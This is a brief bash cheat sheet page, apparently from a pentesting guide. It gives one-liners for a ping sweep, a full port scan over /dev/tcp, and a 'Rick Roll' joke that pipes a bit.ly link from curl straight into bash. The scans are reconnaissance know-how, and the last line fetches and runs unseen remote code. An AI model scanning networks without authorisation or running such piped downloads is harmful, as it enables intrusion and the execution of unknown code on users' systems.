> For the complete documentation index, see [llms.txt](https://alomancy.gitbook.io/guides/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alomancy.gitbook.io/guides/cheat-sheets/bash-cheat-sheets.md).

# Bash Cheat Sheets

## Ping Sweep

```
for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done
```

## Port Scan

```
for i in {1..65535}; do (echo > /dev/tcp/192.168.1.1/$i) >/dev/null 2>&1 && echo $i is open; done
```

## Rick Roll

```
curl -s -L http://bit.ly/10hA8iC | bash
```